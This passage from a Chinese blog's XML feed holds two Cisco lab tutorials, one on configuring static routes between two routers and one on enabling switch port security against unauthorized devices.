class="line"></span><br><span class="line">  IP access violation accounting is disabled</span><br><span class="line"></span><br><span class="line">  TCP/IP header compression is disabled</span><br><span class="line"></span><br><span class="line">  RTP/IP header compression is disabled</span><br><span class="line"></span><br><span class="line">  Probe proxy name replies are disabled</span><br><span class="line"></span><br><span class="line">  Policy routing is disabled</span><br><span class="line"></span><br><span class="line">  Network address translation is disabled</span><br><span class="line"></span><br><span class="line">  WCCP Redirect outbound is disabled</span><br><span class="line"></span><br><span class="line">  WCCP Redirect exclude is disabled</span><br><span class="line"></span><br><span class="line">  BGP Policy Mapping is disabled</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h3 id="1-2-配置路由器R2的IP地址和串口的时钟频率"><a href="#1-2-配置路由器R2的IP地址和串口的时钟频率" class="headerlink" title="1.2 配置路由器R2的IP地址和串口的时钟频率"></a>1.2 配置路由器R2的IP地址和串口的时钟频率</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;en</span><br><span class="line"></span><br><span class="line">Router#configure terminal </span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">Router(config)#hostname R2</span><br><span class="line"></span><br><span class="line">R2(config)#interface fastEthernet 0/0</span><br><span class="line"></span><br><span class="line">R2(config-if)#ip address 172.16.3.1 255.255.255.0</span><br><span class="line"></span><br><span class="line">R2(config-if)#no shutdown </span><br><span class="line"></span><br><span class="line">R2(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up</span><br><span class="line"></span><br><span class="line">R2(config-if)#exit </span><br><span class="line"></span><br><span class="line">R2(config)#interface serial 2/0</span><br><span class="line"></span><br><span class="line">R2(config-if)#ip address 172.16.2.2 255.255.255.0</span><br><span class="line"></span><br><span class="line">R2(config-if)#clock rate 64000</span><br><span class="line"></span><br><span class="line">R2(config-if)#no shutdown </span><br><span class="line"></span><br><span class="line">R2(config-if)#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to up</span><br><span class="line"></span><br><span class="line">R2(config-if)#end</span><br></pre></td></tr></table></figure></div><p>查看路由器的端口信息</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line">R2#show ip interface brief </span><br><span class="line"></span><br><span class="line">Interface              IP-Address      OK? Method Status                Protocol </span><br><span class="line"></span><br><span class="line">FastEthernet0/0        172.16.3.1      YES manual up                    up </span><br><span class="line"></span><br><span class="line">FastEthernet1/0        unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">Serial2/0              172.16.2.2      YES manual up                    up </span><br><span class="line"></span><br><span class="line">Serial3/0              unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">FastEthernet4/0        unassigned      YES unset  administratively down down </span><br><span class="line"></span><br><span class="line">FastEthernet5/0        unassigned      YES unset  administratively down down</span><br><span class="line"></span><br><span class="line">#查看串口信息</span><br><span class="line">R2#show ip interface serial 2/0</span><br><span class="line"></span><br><span class="line">Serial2/0 is up, line protocol is up (connected)</span><br><span class="line"></span><br><span class="line">  Internet address is 172.16.2.2/24</span><br><span class="line"></span><br><span class="line">  Broadcast address is 255.255.255.255</span><br><span class="line"></span><br><span class="line">  Address determined by setup command</span><br><span class="line"></span><br><span class="line">  MTU is 1500</span><br><span class="line"></span><br><span class="line">  Helper address is not set</span><br><span class="line"></span><br><span class="line">  Directed broadcast forwarding is disabled</span><br><span class="line"></span><br><span class="line">  Outgoing access list is not set</span><br><span class="line"></span><br><span class="line">  Inbound  access list is not set</span><br><span class="line"></span><br><span class="line">  Proxy ARP is enabled</span><br><span class="line"></span><br><span class="line">  Security level is default</span><br><span class="line"></span><br><span class="line">  Split horizon is enabled</span><br><span class="line"></span><br><span class="line">  ICMP redirects are always sent</span><br><span class="line"></span><br><span class="line">  ICMP unreachables are always sent</span><br><span class="line"></span><br><span class="line">  ICMP mask replies are never sent</span><br><span class="line"></span><br><span class="line">  IP fast switching is disabled</span><br><span class="line"></span><br><span class="line">  IP fast switching on the same interface is disabled</span><br><span class="line"></span><br><span class="line">  IP Flow switching is disabled</span><br><span class="line"></span><br><span class="line">  IP Fast switching turbo vector</span><br><span class="line"></span><br><span class="line">  IP multicast fast switching is disabled</span><br><span class="line"></span><br><span class="line">  IP multicast distributed fast switching is disabled</span><br><span class="line"></span><br><span class="line">  Router Discovery is disabled</span><br><span class="line"></span><br><span class="line">  IP output packet accounting is disabled</span><br><span class="line"></span><br><span class="line">  IP access violation accounting is disabled</span><br><span class="line"></span><br><span class="line">  TCP/IP header compression is disabled</span><br><span class="line"></span><br><span class="line">  RTP/IP header compression is disabled</span><br><span class="line"></span><br><span class="line">  Probe proxy name replies are disabled</span><br><span class="line"></span><br><span class="line">  Policy routing is disabled</span><br><span class="line"></span><br><span class="line">  Network address translation is disabled</span><br><span class="line"></span><br><span class="line">  WCCP Redirect outbound is disabled</span><br><span class="line"></span><br><span class="line">  WCCP Redirect exclude is disabled</span><br><span class="line"></span><br><span class="line">  BGP Policy Mapping is disabled</span><br></pre></td></tr></table></figure></div></li><li><h3 id="配置路由器的静态路由表"><a href="#配置路由器的静态路由表" class="headerlink" title="配置路由器的静态路由表"></a>配置路由器的静态路由表</h3><h4 id="2-1配置路由器R1的静态路由表"><a href="#2-1配置路由器R1的静态路由表" class="headerlink" title="2.1配置路由器R1的静态路由表"></a>2.1配置路由器R1的静态路由表</h4><p>配置：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">R1#configure terminal </span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">R1(config)#ip route 172.16.3.0 255.255.255.0 172.16.2.2</span><br><span class="line"></span><br><span class="line">R1(config)#end</span><br><span class="line"></span><br><span class="line">R1#</span><br><span class="line"></span><br><span class="line">%SYS-5-CONFIG_I: Configured from console by console</span><br></pre></td></tr></table></figure></div><p>查看路由表信息：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">R1#show ip route </span><br><span class="line"></span><br><span class="line">Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP</span><br><span class="line"></span><br><span class="line">​       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area</span><br><span class="line"></span><br><span class="line">​       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2</span><br><span class="line"></span><br><span class="line">​       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP</span><br><span class="line"></span><br><span class="line">​       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area</span><br><span class="line"></span><br><span class="line">​       \* - candidate default, U - per-user static route, o - ODR</span><br><span class="line"></span><br><span class="line">​       P - periodic downloaded static route</span><br><span class="line"></span><br><span class="line">Gateway of last resort is not set</span><br><span class="line"></span><br><span class="line">​     172.16.0.0/24 is subnetted, 1 subnets</span><br><span class="line"></span><br><span class="line">C       172.16.1.0 is directly connected, FastEthernet0/0</span><br><span class="line"></span><br><span class="line">R1#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface Serial2/0, changed state to up</span><br></pre></td></tr></table></figure></div><h4 id="2-2-配置路由器R2的静态路由表"><a href="#2-2-配置路由器R2的静态路由表" class="headerlink" title="2.2 配置路由器R2的静态路由表"></a>2.2 配置路由器R2的静态路由表</h4><p>配置：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">R1#configure terminal </span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">R1(config)#ip route 172.16.3.0 255.255.255.0 172.16.2.2</span><br><span class="line"></span><br><span class="line">R1(config)#end</span><br><span class="line"></span><br><span class="line">R1#</span><br><span class="line"></span><br><span class="line">%SYS-5-CONFIG_I: Configured from console by console</span><br></pre></td></tr></table></figure></div><p>查看路由表信息：</p><p>R1#show ip route </p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP</span><br><span class="line"></span><br><span class="line">       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area</span><br><span class="line">    </span><br><span class="line">       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2</span><br><span class="line">    </span><br><span class="line">       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP</span><br><span class="line">    </span><br><span class="line">       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area</span><br><span class="line">    </span><br><span class="line">       \* - candidate default, U - per-user static route, o - ODR</span><br><span class="line">    </span><br><span class="line">       P - periodic downloaded static route</span><br><span class="line"></span><br><span class="line">Gateway of last resort is not set</span><br><span class="line"></span><br><span class="line">     172.16.0.0/24 is subnetted, 1 subnets</span><br><span class="line"></span><br><span class="line">C       172.16.1.0 is directly connected, FastEthernet0/0</span><br><span class="line"></span><br><span class="line">R1#</span><br><span class="line"></span><br><span class="line">%LINK-5-CHANGED: Interface Serial2/0, changed state to up</span><br><span class="line"></span><br><span class="line">%LINEPROTO-5-UPDOWN: Line protocol on Interface Serial2/0, changed state to up</span><br></pre></td></tr></table></figure></div></li><li><h3 id="验证测试"><a href="#验证测试" class="headerlink" title="验证测试"></a>验证测试</h3><h4 id="3-1-配置PC"><a href="#3-1-配置PC" class="headerlink" title="3.1 配置PC"></a>3.1 配置PC</h4><p>PC1：</p><p>IP:172.16.1.2</p><p>MASK:255.255.255.0</p><p>Gateway:172.16.1.1</p><p>PC2：</p><p>IP:172.16.3.2</p><p>MASK:255.255.255.0</p><p>Gateway:172.16.3.1</p><h4 id="3-2-ping测试"><a href="#3-2-ping测试" class="headerlink" title="3.2 ping测试"></a>3.2 ping测试</h4><p>PC1 ping PC2 ping 172.16.3.2</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco22.png"                      alt="cisco22"                ></p><p>完成！！！</p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;一、背景&quot;&gt;&lt;a href=&quot;#一、背景&quot; class=&quot;headerlink&quot; title=&quot;一、背景&quot;&gt;&lt;/a&gt;一、背景&lt;/h2&gt;&lt;p&gt;假设校园网内通过一台路由器连接到校园外的另一台路由器上，现要在路由器上做出相应的配置，使校园网内部主机和校园网外部主机相互通</summary>
      
    
    
    
    
    <category term="网络通信与安全配置" scheme="http://example.com/tags/%E7%BD%91%E7%BB%9C%E9%80%9A%E4%BF%A1%E4%B8%8E%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE/"/>
    
  </entry>
  
  <entry>
    <title>5.配置端口安全</title>
    <link href="http://example.com/2024/04/09/5-%E9%85%8D%E7%BD%AE%E7%AB%AF%E5%8F%A3%E5%AE%89%E5%85%A8/"/>
    <id>http://example.com/2024/04/09/5-%E9%85%8D%E7%BD%AE%E7%AB%AF%E5%8F%A3%E5%AE%89%E5%85%A8/</id>
    <published>2024-04-09T11:24:21.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、背景"><a href="#一、背景" class="headerlink" title="一、背景"></a>一、背景</h2><p>某企业的网络管理员发现经常有员工私自将自己的笔记本电脑接入到网络中，而且有一些员工通过使用Hub将多个网络设备接入到交换机端口上，给网路管理和维护增加了难度。对于网络中出现的这种问题，需要防止用户接入非法或未授权的设备，并且限制用户将多个网络设备接入到交换机的端口。交换机的端口安全特性可以满足这个要求，从而提高介入交换设备的安全性。</p><h2 id="二、拓扑图"><a href="#二、拓扑图" class="headerlink" title="二、拓扑图"></a>二、拓扑图</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco15.png"                      alt="cisco15"                ></p><h2 id="三、配置流程"><a href="#三、配置流程" class="headerlink" title="三、配置流程"></a>三、配置流程</h2><ol><li><h3 id="在交换机上启动端口安全特性"><a href="#在交换机上启动端口安全特性" class="headerlink" title="在交换机上启动端口安全特性"></a>在交换机上启动端口安全特性</h3><p> 配置：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Switch&gt;en</span><br><span class="line"></span><br><span class="line">Switch#configure terminal </span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">Switch(config)#interface fastEthernet 0/1</span><br><span class="line">ch(config-if)#switchport mode acc</span><br><span class="line"></span><br><span class="line">Switch(config-if)#switchport mode access </span><br><span class="line"></span><br><span class="line">Switch(config-if)#switchport port-security </span><br></pre></td></tr></table></figure></div></li><li><h3 id="手工配置PC1的mac地址，即保证只有PC1可以连接到Fa0-x2F-1端口"><a href="#手工配置PC1的mac地址，即保证只有PC1可以连接到Fa0-x2F-1端口" class="headerlink" title="手工配置PC1的mac地址，即保证只有PC1可以连接到Fa0&#x2F;1端口"></a>手工配置PC1的mac地址，即保证只有PC1可以连接到Fa0&#x2F;1端口</h3><p>配置：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco16.png"                      alt="cisco16"                ></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Switch(config-if)#switchport port-security mac-address 00ff.ffff.ffff</span><br></pre></td></tr></table></figure></div></li><li><h3 id="配置端口接入数量的限制"><a href="#配置端口接入数量的限制" class="headerlink" title="配置端口接入数量的限制"></a>配置端口接入数量的限制</h3><p>配置：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Switch(config-if)#switchport port-security maximum 1</span><br></pre></td></tr></table></figure></div></li><li><h3 id="配置当此端口违规时的操作"><a href="#配置当此端口违规时的操作" class="headerlink" title="配置当此端口违规时的操作"></a>配置当此端口违规时的操作</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Switch(config-if)#switchport port-security violation shutdown </span><br><span class="line"></span><br><span class="line">Switch(config-if)#exit </span><br></pre></td></tr></table></figure></div><p>protect ：安全违背保护模式，当该端口违反了mac地址安全，则不学习新的mac，并丢弃数据，不发送警告。</p><p>recovery ：恢复违背模式，触发端口违背动作后，恢复mac学习功能。</p><p>restrict：安全违背限制模式，触发违背动作后，不关闭端口，不学习新的mac，丢弃数据包，发送snmp trap，同时在syslog日志中记录。</p><p>shutdown ：安全违背关闭模式，是安全违背的缺省模式，在这种情况下，端口被立即关闭，发送SNMP trap， 同时在syslog 日志中记录。</p></li><li><h3 id="验证测试"><a href="#验证测试" class="headerlink" title="验证测试"></a>验证测试</h3><h4 id="5-1-配置PC1"><a href="#5-1-配置PC1" class="headerlink" title="5.1 配置PC1"></a>5.1 配置PC1</h4><p>ip:192.168.1.1</p><p>MASK:255.255.255.0</p><h4 id="5-2-配置PC2"><a href="#5-2-配置PC2" class="headerlink" title="5.2 配置PC2"></a>5.2 配置PC2</h4><p>ip:192.168.1.2</p><p>MASK:255.255.255.0</p><h4 id="5-3-配置PC3"><a href="#5-3-配置PC3" class="headerlink" title="5.3 配置PC3"></a>5.3 配置PC3</h4><p>ip:192.168.1.3</p><p>MASK:255.255.255.0</p><h4 id="5-4-ping测试"><a href="#5-4-ping测试" class="headerlink" title="5.4 ping测试"></a>5.4 ping测试</h4><h5 id="5-4-1-PC1-ping-PC3-ping-192-168-1-3"><a href="#5-4-1-PC1-ping-PC3-ping-192-168-1-3" class="headerlink" title="5.4.1 PC1 ping PC3 ping 192.168.1.3"></a>5.4.1 PC1 ping PC3 ping 192.168.1.3</h5><p>​<img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/scisco17.png"                      alt="cisco17"                ></p><h5 id="5-4-2-PC2-ping-PC3-ping-192-168-1-3"><a href="#5-4-2-PC2-ping-PC3-ping-192-168-1-3" class="headerlink" title="5.4.2 PC2 ping PC3 ping 192.168.1.3"></a>5.4.2 PC2 ping PC3 ping 192.168.1.3</h5><p>​<img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco18.png"                      alt="cisco18"                ></p><h4 id="5-5-修改拓扑图以及配置后测试"><a href="#5-5-修改拓扑图以及配置后测试" class="headerlink" title="5.5 修改拓扑图以及配置后测试"></a>5.5 修改拓扑图以及配置后测试</h4><p>修改后的拓扑图：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco19.png"                      alt="cisco19"                ></p><p>PC2 ping PC3 ping 192.168.1.3</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco20.png"                      alt="cisco20"                ></p><h4 id="5-6-验证最大端口数"><a href="#5-6-验证最大端口数" class="headerlink" title="5.6 验证最大端口数"></a>5.6 验证最大端口数</h4><p>在S2上配置：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Switch&gt;en</span><br><span class="line"></span><br><span class="line">Switch#configure terminal </span><br><span class="line"></span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line"></span><br><span class="line">Switch(config)#interface fastEthernet 0/1</span><br><span class="line"></span><br><span class="line">Switch(config-if)#switchport mode access </span><br><span class="line"></span><br><span class="line">Switch(config-if)#switchport port-security mac-address 00ff.ffff.ffff</span><br><span class="line"></span><br><span class="line">Found duplicate mac-address 00ff.ffff.ffff.</span><br><span class="line"></span><br><span class="line">Switch(config-if)#switchport port-security violation shutdown </span><br><span class="line"></span><br><span class="line">Switch(config-if)#switchport port-security mac-address 00ff.ffff.fffe</span><br><span class="line"></span><br><span class="line">Total secure mac-addresses on interface FastEthernet0/1 has reached maximum limit.</span><br></pre></td></tr></table></figure></div></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;一、背景&quot;&gt;&lt;a href=&quot;#一、背景&quot; class=&quot;headerlink&quot; title=&quot;一、背景&quot;&gt;&lt;/a&gt;一、背景&lt;/h2&gt;&lt;p&gt;某企业的网络管理员发现经常有员工私自将自己的笔记本电脑接入到网络中，而且有一些员工通过使用Hub将多个网络设备接入到交换机端</summary>
      
    
    
    
    
    <category term="网络通信与安全配置" scheme="http://example.com/tags/%E7%BD%91%E7%BB%9C%E9%80%9A%E4%BF%A1%E4%B8%8E%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE/"/>
    
  </entry>
  
</feed>
